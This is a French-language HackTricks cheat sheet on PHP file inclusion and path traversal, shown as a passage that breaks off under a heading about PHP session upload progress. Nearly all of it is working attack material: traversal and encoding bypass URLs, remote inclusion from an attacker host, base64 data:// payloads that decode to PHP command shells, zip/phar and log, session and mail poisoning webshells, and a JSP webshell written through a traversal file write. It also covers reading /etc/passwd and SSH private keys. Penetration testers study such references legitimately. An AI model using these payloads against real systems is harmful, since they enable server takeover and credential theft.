File Inclusion/Path traversal

Reading time: 30 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

File Inclusion

Remote File Inclusion (RFI): Le fichier est chargé depuis un serveur distant (Meilleur: vous pouvez écrire le code et le serveur l'exécutera). In php this is disabled by default (allow_url_include).
Local File Inclusion (LFI): Le serveur charge un fichier local.

La vulnérabilité se produit lorsque l'utilisateur peut, d'une maniÚre ou d'une autre, contrÎler le fichier que le serveur va charger.

Fonctions PHP vulnérables : require, require_once, include, include_once

Un outil intéressant pour exploiter cette vulnérabilité : https://github.com/kurobeats/fimap

Blind - Intéressants - fichiers LFI2RCE

python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

En combinant plusieurs listes LFI *nix et en ajoutant davantage de chemins, j'ai créé celle-ci :

Auto_Wordlists/wordlists/file_inclusion_linux.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Essayez aussi de remplacer / par \
Essayez aussi d'ajouter ../../../../../

Une liste qui utilise plusieurs techniques pour trouver le fichier /etc/password (pour vĂ©rifier si la vulnĂ©rabilitĂ© existe) peut ĂȘtre trouvĂ©e here

Windows

Fusion de différentes wordlists :

Auto_Wordlists/wordlists/file_inclusion_windows.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Essayez aussi de remplacer / par \
Essayez aussi de supprimer C:/ et d'ajouter ../../../../../

Une liste qui utilise plusieurs techniques pour trouver le fichier /boot.ini (pour vĂ©rifier si la vulnĂ©rabilitĂ© existe) peut ĂȘtre trouvĂ©e here

OS X

Consultez la liste LFI de linux.

LFI basique et bypasses

Tous les exemples concernent Local File Inclusion mais pourraient aussi s'appliquer Ă  Remote File Inclusion (page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

séquences de traversal supprimées non récursivement

python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

Bypass l'ajout de caractÚres supplémentaires à la fin de la chaßne fournie (bypass of: $_GET['param']."php")

http://example.com/index.php?page=../../../etc/passwd%00

Ceci est résolu depuis PHP 5.4

Encodage

Vous pouvez utiliser des encodages non standard comme le double encodage URL (et d'autres) :

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

Depuis un dossier existant

Peut-ĂȘtre que le back-end vĂ©rifie le chemin du dossier :

python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Explorer les répertoires du systÚme de fichiers sur un serveur

Le systĂšme de fichiers d'un serveur peut ĂȘtre explorĂ© rĂ©cursivement pour identifier des rĂ©pertoires, pas seulement des fichiers, en employant certaines techniques. Ce processus consiste Ă  dĂ©terminer la profondeur des rĂ©pertoires et Ă  vĂ©rifier l'existence de dossiers spĂ©cifiques. Voici une mĂ©thode dĂ©taillĂ©e pour y parvenir :

  1. DĂ©terminer la profondeur du rĂ©pertoire : DĂ©terminez la profondeur de votre rĂ©pertoire courant en rĂ©cupĂ©rant avec succĂšs le fichier /etc/passwd (applicable si le serveur est Linux). Un exemple d'URL pourrait ĂȘtre structurĂ© comme suit, indiquant une profondeur de trois :
bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. Sonder les dossiers : Ajoutez le nom du dossier suspect (par ex., private) à l'URL, puis revenez à /etc/passwd. Le niveau de répertoire supplémentaire nécessite d'incrémenter la profondeur d'un cran :
bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. Interpréter les résultats : La réponse du serveur indique si le dossier existe :
  • Erreur / Pas de sortie : Le dossier private n'existe probablement pas Ă  l'emplacement spĂ©cifiĂ©.
  • Contenu de /etc/passwd : La prĂ©sence du dossier private est confirmĂ©e.
  1. Exploration rĂ©cursive : Les dossiers dĂ©couverts peuvent ĂȘtre davantage sondĂ©s pour des sous-rĂ©pertoires ou des fichiers en utilisant la mĂȘme technique ou les mĂ©thodes traditionnelles de Local File Inclusion (LFI).

Pour explorer des répertoires à différents emplacements du systÚme de fichiers, ajustez le payload en conséquence. Par exemple, pour vérifier si /var/www/ contient un répertoire private (en supposant que le répertoire courant se trouve à une profondeur de 3), utilisez :

bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Path Truncation Technique

Path truncation est une méthode employée pour manipuler les chemins de fichiers dans les applications web. Elle est souvent utilisée pour accéder à des fichiers restreints en contournant certaines mesures de sécurité qui ajoutent des caractÚres supplémentaires à la fin des chemins de fichier. L'objectif est de construire un chemin de fichier qui, une fois modifié par la mesure de sécurité, pointe toujours vers le fichier désiré.

In PHP, diffĂ©rentes reprĂ©sentations d'un chemin de fichier peuvent ĂȘtre considĂ©rĂ©es comme Ă©quivalentes en raison de la nature du systĂšme de fichiers. Par exemple :

  • /etc/passwd, /etc//passwd, /etc/./passwd, and /etc/passwd/ sont tous traitĂ©s comme le mĂȘme chemin.
  • Lorsque les 6 derniers caractĂšres sont passwd, ajouter un / (rendant passwd/) ne change pas le fichier ciblĂ©.
  • De mĂȘme, si .php est ajoutĂ© Ă  un chemin de fichier (comme shellcode.php), ajouter /. Ă  la fin n'altĂ©rera pas le fichier accĂ©dĂ©.

Les exemples fournis démontrent comment utiliser path truncation pour accéder à /etc/passwd, une cible courante en raison de son contenu sensible (informations de compte utilisateur) :

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

Dans ces scĂ©narios, le nombre de traversals nĂ©cessaires peut ĂȘtre d'environ 2027, mais ce nombre peut varier en fonction de la configuration du serveur.

  • Utilisation de Dot Segments et de caractĂšres supplĂ©mentaires : Traversal sequences (../) combinĂ©es Ă  des dot segments et des caractĂšres supplĂ©mentaires peuvent ĂȘtre utilisĂ©es pour naviguer dans le systĂšme de fichiers, en ignorant effectivement les chaĂźnes ajoutĂ©es par le serveur.
  • DĂ©terminer le nombre requis de traversals : Par essais et erreurs, on peut trouver le nombre prĂ©cis de sĂ©quences ../ nĂ©cessaires pour remonter jusqu'Ă  la racine puis vers /etc/passwd, en s'assurant que toutes les chaĂźnes ajoutĂ©es (comme .php) sont neutralisĂ©es mais que le chemin dĂ©sirĂ© (/etc/passwd) reste intact.
  • Commencer par un rĂ©pertoire factice : Il est courant de commencer le chemin par un rĂ©pertoire non existant (comme a/). Cette technique est utilisĂ©e comme mesure de prĂ©caution ou pour satisfaire les exigences de la logique d'analyse du chemin du serveur.

Lors de l'utilisation des techniques de path truncation, il est crucial de comprendre le comportement d'analyse des chemins du serveur et la structure du systÚme de fichiers. Chaque scénario peut nécessiter une approche différente, et des tests sont souvent nécessaires pour trouver la méthode la plus efficace.

Cette vulnérabilité a été corrigée dans PHP 5.3.

Filter bypass tricks

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

Dans php ceci est dĂ©sactivĂ© par dĂ©faut parce que allow_url_include est Off. Il doit ĂȘtre On pour que ça fonctionne, et dans ce cas vous pourriez inclure un fichier PHP depuis votre serveur et obtenir RCE:

python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Si pour une raison quelconque allow_url_include est On, mais que PHP filtre l'accÚs aux pages web externes, selon cet article, vous pouvez par exemple utiliser le data protocol avec base64 pour décoder un code PHP en b64 et obtenir une RCE :

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

tip

Dans le code précédent, le +.txt final a été ajouté parce que l'attaquant avait besoin d'une chaßne qui se terminait par .txt, donc la chaßne se termine par ceci et aprÚs le b64 decode cette partie ne renverra que des données inutiles et le vrai code PHP sera inclus (et donc exécuté).

Un autre exemple n'utilisant pas le protocole php:// serait :

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

ÉlĂ©ment racine en Python

En Python, dans un code comme celui-ci :

python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

Si l'utilisateur passe un chemin absolu à file_name, le chemin précédent est simplement supprimé :

python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

C'est le comportement prévu selon the docs:

Si un composant est un chemin absolu, tous les composants précédents sont supprimés et l'assemblage continue à partir du composant de chemin absolu.

Java Liste des répertoires

Il semble que si vous avez un Path Traversal en Java et que vous demandez un répertoire au lieu d'un fichier, une liste du répertoire est renvoyée. Cela n'arrive pas dans d'autres langages (afaik).

Top 25 paramĂštres

Voici la liste des 25 paramĂštres les plus courants qui pourraient ĂȘtre vulnĂ©rables Ă  local file inclusion (LFI) (d'aprĂšs link):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI using PHP wrappers & protocols

php://filter

Les filtres PHP permettent d'effectuer des opérations de modification de base sur les données avant leur lecture ou écriture. Il existe 5 catégories de filtres:

  • String Filters:
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags: Supprime les balises des donnĂ©es (tout ce qui se trouve entre les caractĂšres "<" et ">")
  • Notez que ce filtre a disparu des versions modernes de PHP
  • Conversion Filters
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : Transforme vers un encodage diffĂ©rent (convert.iconv.<input_enc>.<output_enc>). Pour obtenir la liste de tous les encodages supportĂ©s, lancez dans la console : iconv -l

warning

En abusant du filtre de conversion convert.iconv.*, vous pouvez gĂ©nĂ©rer du texte arbitraire, ce qui peut ĂȘtre utile pour Ă©crire du texte arbitraire ou faire en sorte qu'une fonction comme include traite du texte arbitraire. Pour plus d'infos consultez LFI2RCE via php filters.

  • Compression Filters
  • zlib.deflate: Compresse le contenu (utile si vous exfiltrez beaucoup d'informations)
  • zlib.inflate: DĂ©compresse les donnĂ©es
  • Encryption Filters
  • mcrypt.* : ObsolĂšte
  • mdecrypt.* : ObsolĂšte
  • Other Filters
  • En exĂ©cutant dans php var_dump(stream_get_filters()); vous pouvez trouver quelques filtres inattendus:
  • consumed
  • dechunk: inverse l'encodage HTTP chunked
  • convert.*
php
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,ÂŁhellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

warning

La partie "php://filter" n'est pas sensible Ă  la casse

Utiliser php filters comme oracle pour lire des fichiers arbitraires

In this post est proposĂ©e une technique pour lire un fichier local sans que la sortie ne soit renvoyĂ©e par le serveur. Cette technique est basĂ©e sur une exfiltration boolĂ©enne du fichier (caractĂšre par caractĂšre) utilisant php filters comme oracle. Cela vient du fait que les php filters peuvent ĂȘtre utilisĂ©s pour agrandir un texte suffisamment pour provoquer une exception php.

Dans le post original vous trouverez une explication détaillée de la technique, mais voici un résumé rapide :

  • Utiliser le codec UCS-4LE pour laisser le caractĂšre initial du texte en tĂȘte et faire croĂźtre la taille de la chaĂźne de façon exponentielle.
  • Ceci sera utilisĂ© pour gĂ©nĂ©rer un texte tellement volumineux lorsque la lettre initiale est devinĂ©e correctement que php dĂ©clenchera une erreur.
  • Le filtre dechunk supprimera tout si le premier char n'est pas hexadĂ©cimal, donc on peut savoir si le premier char est hex.
  • Ceci, combinĂ© avec le prĂ©cĂ©dent (et d'autres filters suivant la lettre devinĂ©e), permettra de deviner une lettre au dĂ©but du texte en observant quand nous effectuons suffisamment de transformations pour qu'elle ne soit plus un caractĂšre hexadĂ©cimal. Car si c'est hexadĂ©cimal, dechunk ne le supprimera pas et la bombe initiale provoquera l'erreur php.
  • Le codec convert.iconv.UNICODE.CP930 transforme chaque lettre en la suivante (donc aprĂšs ce codec : a -> b). Cela permet de dĂ©couvrir si la premiĂšre lettre est un a par exemple parce qu'en appliquant 6 fois ce codec a->b->c->d->e->f->g la lettre n'est plus un caractĂšre hexadĂ©cimal, donc dechunk ne la supprime pas et l'erreur php est dĂ©clenchĂ©e Ă  cause de la multiplication avec la bombe initiale.
  • En utilisant d'autres transformations comme rot13 au dĂ©but, il est possible de leak d'autres chars comme n, o, p, q, r (et d'autres codecs peuvent ĂȘtre utilisĂ©s pour dĂ©placer d'autres lettres dans la plage hex).
  • Quand le char initial est un chiffre, il est nĂ©cessaire de l'encoder en base64 et de leak les 2 premiĂšres lettres pour leak le chiffre.
  • Le problĂšme final est de voir comment leak plus que la lettre initiale. En utilisant des filters de rĂ©organisation d'ordre mĂ©moire comme convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE il est possible de changer l'ordre des chars et de mettre en premiĂšre position d'autres lettres du texte.
  • Et afin de pouvoir obtenir donnĂ©es supplĂ©mentaires, l'idĂ©e est de gĂ©nĂ©rer 2 octets de junk data au dĂ©but avec convert.iconv.UTF16.UTF16, appliquer UCS-4LE pour le faire basculer avec les 2 octets suivants, et supprimer les donnĂ©es jusqu'aux junk data (cela supprimera les 2 premiers octets du texte initial). Continuer ainsi jusqu'Ă  atteindre le bit dĂ©sirĂ© Ă  leak.

Dans le post un outil pour automatiser cela a également été leaked : php_filters_chain_oracle_exploit.

php://fd

Ce wrapper permet d'accéder aux descripteurs de fichiers que le processus a ouverts. Potentiellement utile pour exfiltrer le contenu de fichiers ouverts:

php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

Vous pouvez aussi utiliser php://stdin, php://stdout et php://stderr pour accĂ©der aux file descriptors 0, 1 et 2 respectivement (je ne suis pas sĂ»r de la maniĂšre dont cela pourrait ĂȘtre utile dans une attaque)

zip:// and rar://

Téléversez un fichier Zip ou Rar contenant une PHPShell et accédez-y.
Pour pouvoir abuser du protocole rar, il doit ĂȘtre activĂ© spĂ©cifiquement.

bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Notez que ce protocole est restreint par les configurations php allow_url_open et allow_url_include

expect://

Expect doit ĂȘtre activĂ©. Vous pouvez exĂ©cuter du code en utilisant ceci :

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

Spécifiez votre payload dans les paramÚtres POST :

bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

Un fichier .phar peut ĂȘtre utilisĂ© pour exĂ©cuter du code PHP lorsqu'une application web utilise des fonctions telles que include pour le chargement de fichiers. L'extrait de code PHP ci-dessous montre la crĂ©ation d'un fichier .phar :

php
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

Pour compiler le fichier .phar, la commande suivante doit ĂȘtre exĂ©cutĂ©e :

bash
php --define phar.readonly=0 create_path.php

Lors de l'exĂ©cution, un fichier nommĂ© test.phar sera créé, ce qui pourrait potentiellement ĂȘtre exploitĂ© dans le cadre de Local File Inclusion (LFI).

Dans les cas oĂč le LFI se contente de lire des fichiers sans exĂ©cuter le code PHP Ă  l'intĂ©rieur, via des fonctions telles que file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), ou filesize(), on peut tenter d'exploiter une vulnĂ©rabilitĂ© de dĂ©sĂ©rialisation liĂ©e Ă  la lecture de fichiers en utilisant le protocole phar.

Pour une compréhension détaillée de l'exploitation des vulnérabilités de désérialisation dans le contexte des fichiers .phar, référez-vous au document lié ci-dessous :

Phar Deserialization Exploitation Guide

phar:// deserialization

CVE-2024-2961

Il a Ă©tĂ© possible d'abuser de n'importe quelle lecture de fichier arbitraire depuis PHP qui supporte les php filters pour obtenir une RCE. La description dĂ©taillĂ©e peut ĂȘtre found in this post.
TrÚs rapide résumé : un overflow de 3 octets dans le heap PHP a été abusé pour altérer la chaßne de free chunks d'une taille spécifique afin de pouvoir écrire n'importe quoi à n'importe quelle adresse, donc un hook a été ajouté pour appeler system.
Il a été possible d'allouer des chunks de tailles spécifiques en abusant davantage des php filters.

Autres protocoles

Consultez d'autres protocols to include here:

  • php://memory and php://temp — Écrire en mĂ©moire ou dans un fichier temporaire (je ne suis pas sĂ»r de l'utilitĂ© dans une attaque d'inclusion de fichier)
  • file:// — AccĂšs au filesystem local
  • http:// — AccĂšs aux URLs HTTP(s)
  • ftp:// — AccĂšs aux URLs FTP(s)
  • zlib:// — Compression Streams
  • glob:// — Trouver des chemins correspondant Ă  un motif (ça ne retourne rien d'imprimable, donc pas vraiment utile ici)
  • ssh2:// — Secure Shell 2
  • ogg:// — Audio streams (Pas utile pour lire des fichiers arbitraires)

LFI via PHP's 'assert'

Les risques de Local File Inclusion (LFI) en PHP sont particuliÚrement élevés lorsqu'on manipule la fonction 'assert', qui peut exécuter du code contenu dans des strings. Cela devient particuliÚrement problématique si une entrée contenant des caractÚres de traversal comme ".." est vérifiée mais pas correctement assainie.

Par exemple, le code PHP pourrait ĂȘtre conçu pour prĂ©venir le directory traversal de la maniĂšre suivante :

bash
assert("strpos('$file', '..') === false") or die("");

Bien que cela vise Ă  empĂȘcher le traversal, cela crĂ©e involontairement un vecteur pour code injection. Pour exploiter cela afin de lire le contenu d'un fichier, un attaquant pourrait utiliser :

plaintext
' and die(highlight_file('/etc/passwd')) or '

De mĂȘme, pour exĂ©cuter des commandes systĂšme arbitraires, on peut utiliser :

plaintext
' and die(system("id")) or '

Il est important de URL-encode these payloads.

PHP Blind Path Traversal

warning

Cette technique est pertinente dans les cas oĂč vous contrĂŽlez le chemin de fichier d'une fonction PHP qui va accĂ©der Ă  un fichier mais dont vous ne verrez pas le contenu (comme un simple appel Ă  file()) et que le contenu n'est pas affichĂ©.

Dans this incredible post il est expliquĂ© comment a blind path traversal peut ĂȘtre abusĂ© via PHP filter pour exfiltrer le contenu d'un fichier via un error oracle.

En résumé, la technique utilise l'encodage "UCS-4LE" pour rendre le contenu d'un fichier tellement gros que la fonction PHP ouvrant le fichier déclenchera une erreur.

Ensuite, afin de leak le premier caractÚre, le filter dechunk est utilisé avec d'autres comme base64 ou rot13 et finalement les filtres convert.iconv.UCS-4.UCS-4LE et convert.iconv.UTF16.UTF-16BE sont utilisés pour placer d'autres caractÚres au beggining et les leak.

Functions that might be vulnerable: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

Pour les détails techniques, consultez l'article mentionné !

LFI2RCE

Arbitrary File Write via Path Traversal (Webshell RCE)

Quand du code cÎté serveur qui ingÚre/charge des fichiers construit le chemin de destination en utilisant des données contrÎlées par l'utilisateur (par ex. un filename ou une URL) sans canonicaliser ni valider, des segments .. et des chemins absolus peuvent s'échapper du répertoire prévu et provoquer une écriture de fichier arbitraire. Si vous pouvez placer le payload sous un répertoire accessible depuis le web, vous obtenez généralement une RCE non authentifiée en déposant un webshell.

Flux d'exploitation typique :

  • Identifier un write primitive dans un endpoint ou un background worker qui accepte un path/filename et Ă©crit du contenu sur le disque (par ex. ingestion pilotĂ©e par message, handlers de commandes XML/JSON, extracteurs ZIP, etc.).
  • DĂ©terminer les rĂ©pertoires exposĂ©s au web. Exemples courants :
  • Apache/PHP: /var/www/html/
  • Tomcat/Jetty: <tomcat>/webapps/ROOT/ → drop shell.jsp
  • IIS: C:\inetpub\wwwroot\ → drop shell.aspx
  • Construire un chemin de traversal qui sort du rĂ©pertoire de stockage prĂ©vu vers le webroot, et inclure le contenu de votre webshell.
  • Parcourir le payload dĂ©posĂ© et exĂ©cuter des commandes.

Remarques :

  • Le service vulnĂ©rable qui effectue l'Ă©criture peut Ă©couter sur un port non-HTTP (par ex. un Ă©couteur JMF XML sur TCP 4004). Le portail web principal (port diffĂ©rent) servira ensuite votre payload.
  • Sur les stacks Java, ces Ă©critures de fichiers sont souvent implĂ©mentĂ©es avec une simple concatĂ©nation File/Paths. L'absence de canonicalisation/allow-listing est la faille principale.

Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):

xml
<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>

Durcissement qui empĂȘche cette classe de bugs :

  • RĂ©soudre vers un chemin canonique et vĂ©rifier qu'il est un descendant d'un rĂ©pertoire de base sur liste blanche.
  • Rejeter tout chemin contenant .., des racines absolues, ou des lettres de lecteur ; prĂ©fĂ©rer des noms de fichiers gĂ©nĂ©rĂ©s.
  • ExĂ©cuter le writer avec un compte Ă  faibles privilĂšges et sĂ©parer les rĂ©pertoires d'Ă©criture des racines servies.

Remote File Inclusion

Expliqué précédemment, follow this link.

Via Apache/Nginx log file

Si le serveur Apache ou Nginx est vulnérable à LFI dans la fonction include vous pouvez essayer d'accéder à /var/log/apache2/access.log or /var/log/nginx/access.log, d'insérer dans le user agent ou dans un GET parameter un php shell comme <?php system($_GET['c']); ?> et d'inclure ce fichier

warning

Notez que si vous utilisez des guillemets doubles pour le shell au lieu de guillemets simples, les guillemets doubles seront modifiés en la chaßne "quote;", PHP lÚvera une erreur là et rien d'autre ne sera exécuté.

De plus, assurez-vous d'écrire correctement le payload sinon PHP générera une erreur à chaque tentative de chargement du fichier de log et vous n'aurez pas de seconde opportunité.

Cela peut aussi ĂȘtre fait dans d'autres logs mais faites attention, le code Ă  l'intĂ©rieur des logs peut ĂȘtre URL-encodĂ© et cela peut dĂ©truire le Shell. L'en-tĂȘte authorisation "basic" contient "user:password" en Base64 et il est dĂ©codĂ© dans les logs. Le PHPShell peut ĂȘtre insĂ©rĂ© dans cet en-tĂȘte.
Autres chemins de log possibles:

python
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

Par e-mail

Envoyer un mail Ă  un compte interne (user@localhost) contenant votre payload PHP comme <?php echo system($_REQUEST["cmd"]); ?> et essayer d'inclure le mail de l'utilisateur avec un chemin comme /var/mail/<USERNAME> ou /var/spool/mail/<USERNAME>

Via /proc//fd/

  1. Upload beaucoup de shells (par exemple : 100)
  2. Inclure http://example.com/index.php?page=/proc/$PID/fd/$FD, avec $PID = PID du processus (peut ĂȘtre rĂ©cupĂ©rĂ© par brute force) et $FD le descripteur de fichier (peut ĂȘtre rĂ©cupĂ©rĂ© par brute force aussi)

Via /proc/self/environ

Comme pour un fichier de log, envoyez le payload dans le User-Agent, il sera reflété à l'intérieur du fichier /proc/self/environ

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Via upload

Si vous pouvez upload un fichier, injectez simplement le shell payload dedans (e.g : <?php system($_GET['c']); ?> ).

http://example.com/index.php?page=path/to/uploaded/file.png

Pour que le fichier reste lisible, il est préférable d'injecter dans les métadonnées des images/doc/pdf

Via téléversement d'un fichier ZIP

Téléversez un fichier ZIP contenant un PHP shell compressé et accédez :

python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Via PHP sessions

Vérifiez si le site web utilise PHP Session (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

Dans PHP, ces sessions sont stockées dans les fichiers /var/lib/php5/sess\[PHPSESSID]_.

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Définissez le cookie sur <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Utilisez la LFI pour inclure le fichier de session PHP

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Via ssh

Si ssh est actif, vérifiez quel utilisateur est en cours d'utilisation (/proc/self/status & /etc/passwd) et tentez d'accéder à <HOME>/.ssh/id_rsa

Via vsftpd logs

Les logs du serveur FTP vsftpd se trouvent dans /var/log/vsftpd.log. Dans le cas oĂč une vulnĂ©rabilitĂ© Local File Inclusion (LFI) est prĂ©sente et qu'un accĂšs Ă  un serveur vsftpd exposĂ© est possible, les Ă©tapes suivantes peuvent ĂȘtre envisagĂ©es :

  1. Injectez un payload PHP dans le champ du nom d'utilisateur lors de la connexion.
  2. AprÚs l'injection, utilisez la LFI pour récupérer les logs du serveur depuis /var/log/vsftpd.log.

Via php base64 filter (using base64)

Comme montré dans this article, PHP base64 filter ignore simplement les caractÚres non-base64. Vous pouvez utiliser cela pour bypasser la vérification d'extension de fichier : si vous fournissez du base64 qui se termine par ".php", il ignorera le "." et appendra "php" au base64. Voici un exemple de payload :

url
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Via php filters (aucun fichier nécessaire)

This writeup explains that you can use php filters to generate arbitrary content as output. Ce qui signifie essentiellement que vous pouvez generate arbitrary php code pour l'include without needing to write it into a file.

LFI2RCE via PHP Filters

Via segmentation fault

TĂ©lĂ©versez un fichier qui sera stockĂ© comme temporaire dans /tmp, puis dans la mĂȘme requĂȘte, provoquez un segmentation fault, et alors le fichier temporaire ne sera pas supprimĂ© et vous pourrez le rechercher.

LFI2RCE via Segmentation Fault

Via Nginx temp file storage

Si vous trouvez une Local File Inclusion et que Nginx fonctionne devant PHP, vous pourriez obtenir une RCE avec la technique suivante :

LFI2RCE via Nginx temp files

Via PHP_SESSION_UPLOAD_PROGRESS

